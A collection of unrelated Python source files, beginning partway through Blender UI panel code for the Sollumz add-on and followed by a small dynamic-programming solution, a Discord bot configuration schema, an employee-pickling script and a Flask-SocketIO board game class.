        right_row.prop(attr, "value_string", text="")
    elif attr.type == "HashString":
        right_row.prop(attr, "value_string", text="")

    del_op = right_row.operator(delete_op_cls.bl_idname,
                                text="", emboss=False, icon='X')
    return del_op

class SOLLUMZ_UL_uv_transforms_list(bpy.types.UIList):
    bl_idname = "SOLLUMZ_UL_uv_transforms_list"

    def draw_item(
        self, context, layout, data, item, icon, active_data, active_propname, index
    ):
        split = layout.split(factor=0.25)
        split.use_property_split = False

        row = split.row(align=True)
        row.label(icon="DRIVER_TRANSFORM")
        row.prop(item, "mode", text="", emboss=False)

        row = split.row(align=True)
        if item.mode == "TRANSLATE":
            row.prop(item, "translation", text="X", index=0)
            row.prop_decorator(item, "translation", index=0)
            row.prop(item, "translation", text="Y", index=1)
            row.prop_decorator(item, "translation", index=1)
        elif item.mode == "ROTATE":
            row.prop(item, "rotation", text="")
            row.prop_decorator(item, "rotation")
        elif item.mode == "SCALE":
            row.prop(item, "scale", text="X", index=0)
            row.prop_decorator(item, "scale", index=0)
            row.prop(item, "scale", text="Y", index=1)
            row.prop_decorator(item, "scale", index=1)
        elif item.mode == "SHEAR":
            row.prop(item, "shear", text="X", index=0)
            row.prop_decorator(item, "shear", index=0)
            row.prop(item, "shear", text="Y", index=1)
            row.prop_decorator(item, "shear", index=1)
        elif item.mode == "REFLECT":
            row.prop(item, "reflect", text="X", index=0)
            row.prop_decorator(item, "reflect", index=0)
            row.prop(item, "reflect", text="Y", index=1)
            row.prop_decorator(item, "reflect", index=1)

    def draw_filter(self, context, layout):
        # filtering doesn't make sense for this list, instead we show the final UV matrix in this subpanel
        # mainly for debugging purposes
        animation_tracks = context.animation_tracks

        layout.label(text="Final Transformation Matrix")
        col = layout.column(align=True)
        col.enabled = False  # read-only view
        col.use_property_decorate = False
        col.use_property_split = False
        row = col.row(align=True)
        for i in range(3):
            row.prop(animation_tracks, "uv0", index=i, text="")
        row = col.row(align=True)
        for i in range(3):
            row.prop(animation_tracks, "uv1", index=i, text="")

class SOLLUMZ_PT_MATERIAL_ANIMATION_TRACKS(bpy.types.Panel):
    bl_label = "Animation Tracks"
    bl_idname = "SOLLUMZ_PT_MATERIAL_ANIMATION_TRACKS"
    bl_space_type = "PROPERTIES"
    bl_region_type = "WINDOW"
    bl_context = "material"
    bl_options = {"DEFAULT_CLOSED"}
    bl_parent_id = SOLLUMZ_PT_MAT_PANEL.bl_idname
    bl_order = 9999

    @classmethod
    def poll(cls, context):
        obj = context.active_object
        if not obj:
            return False

        mat = obj.active_material
        if not mat:
            return False

        return mat.sollum_type == MaterialType.SHADER

    def draw(self, context):
        layout = self.layout
        layout.use_property_split = True

        mat = context.active_object.active_material
        animation_tracks = mat.animation_tracks
        is_supported = is_uv_animation_supported(mat)

        layout.label(text="UV Transformations")
        if not is_supported:
            layout.label(text=f"Shader '{mat.shader_properties.name}' does not support UV animations.", icon="ERROR")

        row = layout.row()
        row.enabled = is_supported
        with context.temp_override(animation_tracks=animation_tracks):
            row.template_list(SOLLUMZ_UL_uv_transforms_list.bl_idname, "",
                              animation_tracks, "uv_transforms", animation_tracks, "uv_transforms_active_index")

        col = row.column(align=True)
        col.operator(ycd_ops.SOLLUMZ_OT_uv_transform_add.bl_idname, icon="ADD", text="")
        col.operator(ycd_ops.SOLLUMZ_OT_uv_transform_remove.bl_idname, icon="REMOVE", text="")
        col.separator()
        col.operator(ycd_ops.SOLLUMZ_OT_uv_transform_move.bl_idname, icon="TRIA_UP", text="").direction = "UP"
        col.operator(ycd_ops.SOLLUMZ_OT_uv_transform_move.bl_idname, icon="TRIA_DOWN", text="").direction = "DOWN"

        row = layout.row()
        row.enabled = is_supported
        row.operator(ycd_ops.SOLLUMZ_OT_uv_sprite_sheet_anim.bl_idname)

class SOLLUMZ_PT_POSE_BONE_ANIMATION_TRACKS(bpy.types.Panel):
    bl_label = "Animation Tracks"
    bl_idname = "SOLLUMZ_PT_POSE_BONE_ANIMATION_TRACKS"
    bl_space_type = "PROPERTIES"
    bl_region_type = "WINDOW"
    bl_context = "bone"
    bl_options = {"DEFAULT_CLOSED"}
    bl_parent_id = SOLLUMZ_PT_BONE_PANEL.bl_idname

    @classmethod
    def poll(cls, context):
        p_bone = context.active_pose_bone
        return p_bone is not None and p_bone.parent is None # only root bone

    def draw(self, context):
        layout = self.layout
        layout.use_property_split = True

        p_bone = context.active_pose_bone

        col = layout.column()
        # root bone tracks
        for prop in [
            "unk_134",
            "unk_137",
            "unk_138",
            "unk_139",
            "unk_140",
        ]:
            col.prop(p_bone, f"animation_tracks_{prop}")

class SOLLUMZ_PT_CAMERA_ANIMATION_TRACKS(bpy.types.Panel):
    bl_label = "Animation Tracks"
    bl_idname = "SOLLUMZ_PT_CAMERA_ANIMATION_TRACKS"
    bl_space_type = "PROPERTIES"
    bl_region_type = "WINDOW"
    bl_context = "object"
    bl_options = {"DEFAULT_CLOSED"}
    bl_parent_id = SOLLUMZ_PT_OBJECT_PANEL.bl_idname
    bl_order = 9999

    @classmethod
    def poll(cls, context):
        obj = context.active_object
        if obj is None:
            return False

        data = obj.data
        return isinstance(data, bpy.types.Camera)

    def draw(self, context):
        layout = self.layout
        layout.use_property_split = True

        obj = context.active_object
        animation_tracks = obj.animation_tracks

        col = layout.column()
        col.prop(animation_tracks, "camera_fov")
        split = col.split(factor=0.4)
        split.row()
        split.row().label(text="DOF")
        sub_col = col.column(align=True)
        sub_col.prop(animation_tracks, "camera_dof", index=0, text="Near")
        sub_col.prop(animation_tracks, "camera_dof", index=1, text="Far")
        sub_col.prop(animation_tracks, "camera_dof_strength", text="Strength")
        split = col.split(factor=0.4)
        split.row()
        split.row().label(text="DOF (Advanced)")
        sub_col = col.column(align=True)
        sub_col.prop(animation_tracks, "camera_dof_plane_near_unk", text="Near Unk")
        sub_col.prop(animation_tracks, "camera_dof_plane_near", text="Near")
        sub_col.prop(animation_tracks, "camera_dof_plane_far_unk", text="Far Unk")
        sub_col.prop(animation_tracks, "camera_dof_plane_far", text="Far")
        sub_col.prop(animation_tracks, "camera_dof_unk_49", text="Unk 49")
        sub_col.prop(animation_tracks, "camera_dof_unk_51", text="Unk 51")
        col.separator()
        col.prop(animation_tracks, "camera_unk_39")
        col.prop(animation_tracks, "camera_unk_48")

class SOLLUMZ_PT_CLIP_ANIMATIONS(bpy.types.Panel):
    bl_label = "Linked Animations"
    bl_idname = "SOLLUMZ_PT_CLIP_ANIMATIONS"
    bl_space_type = "PROPERTIES"
    bl_region_type = "WINDOW"
    bl_options = {"DEFAULT_CLOSED"}
    bl_parent_id = SOLLUMZ_PT_OBJECT_PANEL.bl_idname
    bl_order = 0

    @classmethod
    def poll(cls, context):
        obj = context.active_object

        return obj and obj.sollum_type == SollumType.CLIP

    def draw(self, context):
        layout = self.layout

        obj = context.active_object
        clip_properties = obj.clip_properties

        layout.operator(ycd_ops.SOLLUMZ_OT_clip_new_animation.bl_idname,
                        text="New", icon="ADD")

        for animation_index, clip_animation in enumerate(clip_properties.animations):
            box = layout.box()

            label = clip_animation.animation.name if clip_animation.animation else None
            delete_op = draw_item_box_header(box, clip_animation, label, ycd_ops.SOLLUMZ_OT_clip_delete_animation)
            delete_op.animation_index = animation_index

            if clip_animation.ui_show_expanded:
                box.use_property_split = True
                box.use_property_decorate = False
                box.prop(clip_animation, "animation", text="Animation")

                draw_range_properties(box, clip_animation, "start_frame", "end_frame", "Frame Range")

class SOLLUMZ_PT_CLIP_TAGS(bpy.types.Panel):
    bl_label = "Tags"
    bl_description = "Tags are used to mark specific points in time (events) in a clip."
    bl_idname = "SOLLUMZ_PT_CLIP_TAGS"
    bl_space_type = "PROPERTIES"
    bl_region_type = "WINDOW"
    bl_options = {"DEFAULT_CLOSED"}
    bl_parent_id = SOLLUMZ_PT_OBJECT_PANEL.bl_idname
    bl_order = 1

    @classmethod
    def poll(cls, context):
        obj = context.active_object

        return obj and obj.sollum_type == SollumType.CLIP

    def draw(self, context):
        layout = self.layout

        obj = context.active_object
        clip_properties = obj.clip_properties

        row = layout.split(factor=0.625, align=True)
        row.operator(ycd_ops.SOLLUMZ_OT_clip_new_tag.bl_idname,
                     text="New", icon="ADD").ignore_template = True
        row.operator_menu_enum(ycd_ops.SOLLUMZ_OT_clip_new_tag.bl_idname, "template",
                               text="From Template", icon="MENU_PANEL").ignore_template = False

        for tag_index, clip_tag in enumerate(clip_properties.tags):
            box = layout.box()

            del_op = draw_item_box_header(box, clip_tag, clip_tag.name, ycd_ops.SOLLUMZ_OT_clip_delete_tag,
                                          visible_prop="ui_view_on_timeline",
                                          color_prop="ui_timeline_color")
            del_op.tag_index = tag_index

            if clip_tag.ui_show_expanded:
                box.use_property_split = True
                box.use_property_decorate = False
                box.prop(clip_tag, "name")

                draw_range_properties(box, clip_tag, "start_phase", "end_phase", "Phase Range")

                attr_box = box.box()
                attr_header = attr_box.row(align=True)
                attr_header.label(text="Attributes")
                new_op = attr_header.operator(ycd_ops.SOLLUMZ_OT_clip_new_tag_attribute.bl_idname,
                                              text="", icon="ADD")
                new_op.tag_index = tag_index
                for attr_index, attr in enumerate(clip_tag.attributes):
                    del_op = draw_clip_attribute(attr_box, attr, ycd_ops.SOLLUMZ_OT_clip_delete_tag_attribute)
                    del_op.tag_index = tag_index
                    del_op.attribute_index = attr_index

class SOLLUMZ_PT_CLIP_PROPERTIES(bpy.types.Panel):
    bl_label = "Properties"
    bl_description = ""
    bl_idname = "SOLLUMZ_PT_CLIP_PROPERTIES"
    bl_space_type = "PROPERTIES"
    bl_region_type = "WINDOW"
    bl_options = {"DEFAULT_CLOSED"}
    bl_parent_id = SOLLUMZ_PT_OBJECT_PANEL.bl_idname
    bl_order = 2

    @classmethod
    def poll(cls, context):
        obj = context.active_object

        return obj and obj.sollum_type == SollumType.CLIP

    def draw(self, context):
        layout = self.layout

        obj = context.active_object
        clip_properties = obj.clip_properties

        layout.operator(ycd_ops.SOLLUMZ_OT_clip_new_property.bl_idname,
                        text="New", icon="ADD")

        if len(clip_properties.properties) == 0:
            return

        box = layout.box()
        for prop_index, prop in enumerate(clip_properties.properties):
            del_op = draw_clip_attribute(box, prop, ycd_ops.SOLLUMZ_OT_clip_delete_property)
            del_op.property_index = prop_index

class SOLLUMZ_PT_ANIMATIONS_TOOL_PANEL(bpy.types.Panel):
    bl_label = "Animations"
    bl_idname = "SOLLUMZ_PT_ANIMATIONS_TOOL_PANEL"
    bl_category = "Sollumz Tools"
    bl_space_type = "VIEW_3D"
    bl_region_type = "UI"
    bl_options = {"DEFAULT_CLOSED"}
    bl_order = 4

    def draw_header(self, context):
        self.layout.label(text="", icon="ARMATURE_DATA")

    def draw(self, context):
        layout = self.layout

        if len(context.selected_objects) > 0:
            active_object = context.selected_objects[0]

            if is_any_sollumz_animation_obj(active_object):
                layout.operator(ycd_ops.SOLLUMZ_OT_create_clip.bl_idname)
                layout.operator(ycd_ops.SOLLUMZ_OT_create_animation.bl_idname)
            else:
                row = layout.row(align=False)
                row.operator(ycd_ops.SOLLUMZ_OT_create_clip_dictionary.bl_idname)

            row = layout.row(align=True)
            template_animation_target_ID(row, context.scene,
                                         "sollumz_animations_target_id",
                                         "sollumz_animations_target_id_type", text=None)
            row.operator(ycd_ops.SOLLUMZ_OT_animations_set_target.bl_idname)
        else:
            layout.operator(
                ycd_ops.SOLLUMZ_OT_create_clip_dictionary.bl_idname)

class ClipTagsOnTimelineDrawHandler:
    """Manages drawing the tag markers for the selected clip on the timeline.
    User input is handled by operator SOLLUMZ_OT_timeline_clip_tags_drag.
    """

    def __init__(self, cls):
        self.cls = cls
        self.handler = None
        self.overlay_verts_pos = np.empty((0, 3), dtype=np.float32)
        self.overlay_verts_color = np.empty((0, 4), dtype=np.float32)
        self.marker_verts_pos = np.empty((0, 3), dtype=np.float32)
        self.marker_verts_color = np.empty((0, 4), dtype=np.float32)

    def register(self):
        self.handler = self.cls.draw_handler_add(self.draw, (), "WINDOW", "POST_PIXEL")

    def unregister(self):
        self.cls.draw_handler_remove(self.handler, "WINDOW")

    def draw(self):
        import gpu
        import gpu_extras
        import blf

        context = bpy.context
        clip_obj = context.active_object
        if clip_obj is None or clip_obj.sollum_type != SollumType.CLIP:
            return

        clip_properties = clip_obj.clip_properties

        num_tags = len(clip_properties.tags)
        clip_frame_count = clip_properties.get_frame_count()
        if num_tags == 0 or clip_frame_count == 0:
            return

        if num_tags != len(self.overlay_verts_pos) // 6:
            self.overlay_verts_pos = np.empty((num_tags * 6, 3), dtype=np.float32)
            self.overlay_verts_color = np.empty((num_tags * 6, 4), dtype=np.float32)
            self.marker_verts_pos = np.empty((num_tags * 12, 3), dtype=np.float32)
            self.marker_verts_color = np.empty((num_tags * 12, 4), dtype=np.float32)

        region = context.region
        view = region.view2d
        scrubber_height = 22.5
        h = region.height
        h -= scrubber_height  # reduce region height to place markers below the scrubber

        notch_size = 5
        names = []
        num_visible_tags = 0
        for clip_tag in clip_properties.tags:
            if not clip_tag.ui_view_on_timeline:
                continue

            i = num_visible_tags

            start_phase = clip_tag.start_phase
            end_phase = clip_tag.end_phase

            start_frame = clip_frame_count * start_phase
            end_frame = clip_frame_count * end_phase
            color = clip_tag.ui_timeline_color
            color_highlight = (color[0] + (1.0 - color[0]) * 0.25,
                               color[1] + (1.0 - color[1]) * 0.25,
                               color[2] + (1.0 - color[2]) * 0.25,
                               color[3])
            highlight_start = clip_tag.ui_timeline_hovered_start or clip_tag.ui_timeline_drag_start
            highlight_end = clip_tag.ui_timeline_hovered_end or clip_tag.ui_timeline_drag_end
            color_start = color_highlight if highlight_start else color
            color_end = color_highlight if highlight_end else color
            overlay_color = (color[0], color[1], color[2], color[3] * 0.2)

            start_x, _ = view.view_to_region(start_frame, 0, clip=False)
            end_x, _ = view.view_to_region(end_frame, 0, clip=False)
            y = h

            # tag area highlight
            o = i * 6
            self.overlay_verts_pos[o:o + 6] = (
                (start_x, y, 0.0),  # top left triangle
                (start_x, y - h, 0.0),
                (end_x, y, 0.0),
                (end_x, y, 0.0),  # bottom right triangle
                (end_x, y - h, 0.0),
                (start_x, y - h, 0.0),
            )
            self.overlay_verts_color[o: o + 6] = overlay_color

            o = i * 12
            self.marker_verts_pos[o:o + 12] = (
                # start marker
                (start_x, y, 0.0),  # start vertical line top
                (start_x, y - h, 0.0),  # start vertical line bottom
                (start_x, y, 0.0),  # start notch
                (start_x - notch_size, y, 0.0),
                (start_x - notch_size, y, 0.0),
                (start_x, y - notch_size, 0.0),
                # end marker
                (end_x, y, 0.0),  # end marker vertical line top
                (end_x, y - h, 0.0),  # end marker vertical line bottom
                (end_x, y, 0.0),  # end marker notch
                (end_x + notch_size, y, 0.0),
                (end_x + notch_size, y, 0.0),
                (end_x, y - notch_size, 0.0),
            )
            self.marker_verts_color[o: o + 6] = color_start
            self.marker_verts_color[o + 6: o + 12] = color_end

            # tag name
            text_offset = 30 + 25 * (i % 4 + 1)
            text_x = start_x + 5
            text_y = y - h + text_offset
            names.append((clip_tag.name, text_x, text_y))

            num_visible_tags += 1

        gpu.state.line_width_set(3)
        gpu.state.blend_set("ALPHA")

        shader_smooth_color = gpu.shader.from_builtin("SMOOTH_COLOR")
        batch = gpu_extras.batch.batch_for_shader(shader_smooth_color, "TRIS", {
            "pos": self.overlay_verts_pos[:num_visible_tags * 6],
            "color": self.overlay_verts_color[:num_visible_tags * 6]
        })
        batch.draw(shader_smooth_color)

        batch = gpu_extras.batch.batch_for_shader(shader_smooth_color, "LINES", {
            "pos": self.marker_verts_pos[:num_visible_tags * 12],
            "color": self.marker_verts_color[:num_visible_tags * 12]
        })
        batch.draw(shader_smooth_color)

        theme = context.preferences.themes[0]
        text_color = theme.dopesheet_editor.space.text
        text_color = (text_color[0], text_color[1], text_color[2], 1.0)
        font_id = 0
        font_size = 14 * (context.preferences.system.dpi / 72)
        for name, x, y in names:
            blf.position(font_id, x, y, 0)
            blf.color(font_id, *text_color)
            blf.size(font_id, font_size)
            blf.draw(font_id, name)

draw_handlers = []

def register():
    SOLLUMZ_PT_OBJECT_PANEL.append(draw_clip_properties)
    SOLLUMZ_PT_OBJECT_PANEL.append(draw_animation_properties)

    for cls in (bpy.types.SpaceDopeSheetEditor, bpy.types.SpaceNLA):
        handler = ClipTagsOnTimelineDrawHandler(cls)
        handler.register()
        draw_handlers.append(handler)

def unregister():
    SOLLUMZ_PT_OBJECT_PANEL.remove(draw_clip_properties)
    SOLLUMZ_PT_OBJECT_PANEL.remove(draw_animation_properties)

    for handler in draw_handlers:
        handler.unregister()
    draw_handlers.clear()


dp = []

n = int(input())

a = list(map(int,input().split()))[:n]

ar = []
for i in range(max(a)+1):
    ar.append(0)

for i in a:
    ar[i] += 1

dp.append(0)
dp.append(ar[1]) # a[1]*1 = a[1]

for i in range(2,len(ar)):
    dp.append(max(dp[i - 1], (dp[i - 2] + i*ar[i]) ) )

print(dp[-1])


from __future__ import annotations

__all__ = ["SandpiperConfig"]

from functools import cached_property
import logging
from logging.handlers import TimedRotatingFileHandler
from pathlib import Path
from typing import Annotated, Literal

from sandpiper.common.paths import MODULE_PATH
from sandpiper.piperfig import *

class SandpiperConfig(ConfigSchema):

    bot_token: str
    bot: _Bot
    logging: _Logging

    class _Bot(ConfigSchema):

        command_prefix = "!piper "
        description = (
            "A bot that makes it easier to communicate with friends around the "
            "world.\n"
            "Visit my GitHub page for more info about commands and features: "
            "https://github.com/phanabani/sandpiper#commands-and-features"
        )
        modules: _Modules

        class _Modules(ConfigSchema):

            bios: _Bios
            birthdays: _Birthdays

            class _Bios(ConfigSchema):

                allow_public_setting = False

            class _Birthdays(ConfigSchema):

                past_birthdays_day_range: Annotated[int, Bounded(0, 365)] = 7
                upcoming_birthdays_day_range: Annotated[int, Bounded(0, 365)] = 14
                message_templates_no_age: list[str] = [
                    "Hey!! It's {name}'s birthday! Happy birthday {ping}!",
                    "{name}! It's your birthday!! Hope it's a great one " "{ping}!",
                    "omg! did yall know it's {name}'s birthday?? happy "
                    "birthday {ping}! :D",
                    "I am pleased to announce... IT'S {NAME}'s BIRTHDAY!! "
                    "Happy birthday {ping}!!",
                ]
                message_templates_with_age: list[str] = [
                    "Hey!! It's {name}'s birthday! {They} turned {age} today. "
                    "Happy birthday {ping}!",
                    "{name}! It's your birthday!! I can't believe you're "
                    "already {age} ;u; Hope it's a great one "
                    "{ping}!",
                    "omg! did yall know it's {name}'s birthday?? {Theyre} "
                    "{age} now! happy birthday {ping}! :D",
                    "I am pleased to announce... IT'S {NAME}'S BIRTHDAY!! "
                    "{They} just turned {age}! Happy birthday {ping}!!",
                ]

    class _Logging(ConfigSchema):

        _logging_levels = Literal["DEBUG", "INFO", "WARNING", "ERROR", "CRITICAL"]

        sandpiper_logging_level: _logging_levels = "INFO"
        discord_logging_level: _logging_levels = "WARNING"
        output_file: Annotated[
            Path, MaybeRelativePath(MODULE_PATH)
        ] = "./logs/sandpiper.log"
        when: Literal["S", "M", "H", "D", "midnight"] = "midnight"
        interval: Annotated[int, Bounded(1, None)] = 1
        backup_count: Annotated[int, Bounded(0, None)] = 7
        format = "%(asctime)s %(levelname)s %(name)s | %(message)s"

        @cached_property
        def formatter(self):
            return logging.Formatter(self.format)

        @cached_property
        def handler(self):
            handler = TimedRotatingFileHandler(
                filename=self.output_file,
                when=self.when,
                interval=self.interval,
                backupCount=self.backup_count,
            )
            handler.setFormatter(self.formatter)
            return handler

if __name__ == "__main__":
    config = SandpiperConfig({"bot_token": "<BOT_TOKEN>"})
    print(config.serialize())


#emppick.py
from Emp import Employee
from  pickle import dump
fname=input("Enter the File name to save emp data:")
fp=open(fname,"ab")
noe=int(input("Enter How many emps u have:"))
for i in range(noe):
	print("---------------------------------------------------------")
	print("Enter "+str(i+1)+" Emp Information:")
	print("---------------------------------------------------------")
	eno=int(input("Enter Emp Number:"))
	ename=input("Enter Emp Name:")
	sal=float(input("Enter Emp Salary:"))
	dsg=input("Enter Emp Designation:")
	eo=Employee(eno,ename,sal,dsg)
	dump(eo,fp)
	print("---------------------------------------------------------")
	print(str(i+1)+" Emp data saved in file")
	print("---------------------------------------------------------")


from flask_socketio import emit

from .game import Game

class BoardGame(Game):
    # Key for game objects not owned by any one player.
    # For now it's a string, but eventually maybe something the user can't pick as a name would be nice
    public_key = "table"

    def __init__(self, room_id):
        Game.__init__(self, room_id, 1, 1000) # min/max player counts might be optional, this is easier than checking
        self.objs = {}

    def setup_game(self, roles):
        pass

    def add_player(self, player_id, player_name, ready=False):
        ret = super().add_player(player_id, player_name, ready)
        if ret != None:
            ret.objs = {}
        return ret

    def write(self, msg, pred=None):
        payload = {'msg':msg}
        if pred != None:
            payload['targets'] = [player.name for player in self.players.values() if pred(player)]
        emit('message', payload, room=self.room_id)

    # You gotta implement `input`, it's like process_message but you can throw stuff
    def process_message(self, player_name, msg):
        try:
            self.input(player_name, msg)
        except Exception as e:
            self.write(f"Command caused exception: {e}", lambda x: x.name == player_name)

    def find_player(self, name):
        name = name.lower()
        ret = []
        for p in self.players.values():
            other = p.name.lower()
            if other.startswith(name):
                if other == name:
                    return p
                ret.append(p)
        if len(ret) == 1:
            return ret[0]
        if len(ret) == 0:
            raise Exception(f"Name {name} doesn't match any player")
        names = [r.name for r in ret]
        raise Exception(f"Name '{name}' is ambiguous among {names}")